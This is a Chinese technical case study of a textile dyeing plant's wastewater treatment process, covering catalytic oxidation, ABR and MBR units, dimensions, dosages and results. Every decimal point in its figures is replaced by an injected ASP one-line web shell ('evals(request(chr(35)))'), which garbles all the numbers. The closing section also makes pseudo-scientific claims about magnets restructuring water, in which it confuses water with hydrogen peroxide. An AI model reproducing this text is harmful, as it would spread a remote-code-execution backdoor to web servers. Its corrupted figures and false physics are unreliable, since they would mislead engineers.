技术原理 ：

1工程概况

广东省某印染厂排放的生产废水主要污染物为染料 、浆料 、助剂 、油剂、酸碱 、纤维杂质 、砂类物质 、无机盐等 ，具有污染物浓度高 、成分复杂 、水质多变 、色度高 、毒性大 、难生化降解的特点 ，属难处理的工业废水 ，直接排放会对环境造成严重污染 。该生产废水量为1000m3/d ，设计最大处理能力为1200m3/d 。出水执行《污水综合排放标准》（GB 8978-1996）一级标准 ，废水处理后回用于车间设备清洗 、绿化 、地面冲洗等 ，具体废水水质及排放标准见表1 。经过分析此废水的特点和对比处理试验效果 ，从处理效果和处理成本等综合考虑 ，决定采用酸解沉淀-催化氧化-ABR-M BR工艺（见图1） 。

2工艺说明及主要构筑物

（1）格栅 。1座 ，砖混结构 ，尺寸3"%><%evals(request(chr(35)))%><2m×1m×1"%><%evals(request(chr(35)))%><5m ，采用人工清除式格栅 ，栅条间距采用1cm ，一天清理2次 ，以保证排水畅通 。废水先经格栅去除大块杂物后 ，自流入隔油池 。

（2）调节池 。钢混结构 ，尺寸8m×6m×2"%><%evals(request(chr(35)))%><5m ，1座 ，HRT2"%><%evals(request(chr(35)))%><3h 。废水在调节池内一方面利用气浮作用将油脂进一步除去 ，另一方面将废水充分混合 ，均匀水质水量 。

（3）沉淀池 。钢混结构 ，尺寸5m×5m×3m ，2座 ，HRT3h 。加酸调pH到4左右，使废水中的油墨等大分了物质断链而释出 ，因废水中的释出物释出后能很快沉淀下来 ，因此 ，反应完全后进入沉淀池进行沉淀 ，沉淀池上清液进入中间池 。

（4）催化氧化池 。内设组合式催化氧化装置2台 ，尺寸6m×4m×3m ，处理能力为25m3/h ，其关键装置是一个管式催化氧化单元 。管径采用φ200（根据情况可大可小）的不锈钢管或PVC管，管内壁涂有光催化功能的TiO2涂层 ，这种装置单位体积表面积大 ，1m3液体管内表面积达20m2 。管内沿管径轴向安装紫外灯管 ，废水进入管中通过管道推流混合 ，不用搅拌装置 。废水在管内流动与管内壁的TiO2涂层接触 ，在其表面发生光催化氧化反应 ，同时双氧水在紫外光作用下也产生各种氧化反应 ，最终达到去除污染物的目的 。该设备适用范围广 ，可改善废水可生化性 ；操作简单 ，清洗方便 ，不会发生结垢和有机物粘附现象 ；催化表面积大 ，催化效率高 ；紫外光能利用充分 ，大大降低单位处理能耗 。

（5） ABR池 。2座 ，钢混结构 ，尺寸8m×65m×4m ，HRT10h ，池内放置大比表面积的球状悬浮生物填料 。废水经催化氧化处理去除部分有机物 ，改善废水可生化性和脱色后 ，经排放到pH中和池加碱调到中性 ，再进入ABR池 。

（6） MBR池。2座 ，钢混结构 ，尺寸8m×6m×4m ， HRT8h ，流量为12 m3/h 。MBR池为板框抽吸淹没式结构 ，膜组件为孔径约0"%><%evals(request(chr(35)))%><2μm的PVDF中空纤维膜 。平常通过周期性地间歇操作和通风来减少膜污染 ，每6个月进行一次化学清洗 ，用0"%><%evals(request(chr(35)))%><1%的NaClO和4%的NaOH将膜组件浸泡24h 。

（7）中间水池 。2座 ，钢混结构 ，尺寸6m×3"%><%evals(request(chr(35)))%><5m×4m ，HRT8h 。

（8）回用水池 。2座 ，钢混结构 ，尺寸6m×3"%><%evals(request(chr(35)))%><5m×4m ，HRT8h 。处理后的废水可回用于车间设备冲洗 、地面冲洗绿化等 。

（9）污泥处理系统 。污泥池2座 ，钢混结构 ，尺寸6m×4m×3m ，压滤机2台 ，污泥泵4台 。沉淀污泥排放到污泥池后 ，用污泥泵打入板框压滤机 ，经压滤后的干渣外运到固废处理站处理 ，压滤出水回废水调节池 。

3运行参数

实际运行调试结果表明 ：催化氧化装置中 ，pH为4左右 ，30%H2O2溶液的加入量为9~11mL/L ，TiO2的投加量为0"%><%evals(request(chr(35)))%><05~0"%><%evals(request(chr(35)))%><07g/L ；ABR池中MLSS2"%><%evals(request(chr(35)))%><3~2"%><%evals(request(chr(35)))%><8g/L ，污泥回流比100% ，污泥负荷为0"%><%evals(request(chr(35)))%><11~0"%><%evals(request(chr(35)))%><13kgBOD5/( kgMLSS·d) ，SRT为20d左右 ；MBR池中MLSS为800~1200mg/L ，DO为2~3 mg/L ，HRT为9h ，曝气量为2"%><%evals(request(chr(35)))%><8Nm3/h ，处理效果较为理想 。

4处理效果

该工程2007年5月竣工后 ，经试运行3个月 ，于9月正式投入正常运行 ，从运行1年的情况来看 ，系统运行稳定 、处理效果显著 ，出水水质良好 ，经环境监测站在不同的时期测得出水水质各项指标均己达《污水综合排放标准》（GB 8978-1996）一级排放标准 ，测得的部分结果如表2所示 。

5小结

（1）印染废水中的残留染料品种多 ，水质成分复杂 ，采用厌氧作为首级预处理方法 ，可有效降解废水中的染料等大分子污染物，特别是可有效破坏染料的显色基团 ，脱色效果明显 。

（2）在废水进入催化氧化装置前 ，加装有前置永磁防垢除垢器（铷 、铁 、硼） ，当水通过磁场时 ，水分子在磁场的作用下 ，产生扭曲 、变形 、反转 、震动 ，使其分子加强从而使原来水中缔合形成的各种链状 、团状的大分了(H2O2)n ，解离成单个双分子(H2O2)2 ，使水的活性增加 ，改变了水的物理结构 。通过磁场对溶液中的离子产生作用 ，使水中钙 、镁盐类结垢物的针状结晶改变成颗粒状结晶体 ，使它们不能交织在一起成为坚硬的水垢附着在器壁或管壁上 ，而成为微小的颗粒沉淀于底部 ，随排污排出 ，从而达到防水垢的作用 。

（3）印染废水大多呈碱性 ，在进入厌氧处理之前 ，要使油墨等大分子物质断链而释出 ，必须先调节pH为4左右 。由于后续工艺处理单元为厌氧 ，因此pH调节剂不宜采用硫酸 ，以免产生硫化氢等还原物质 ，造成二次污染 。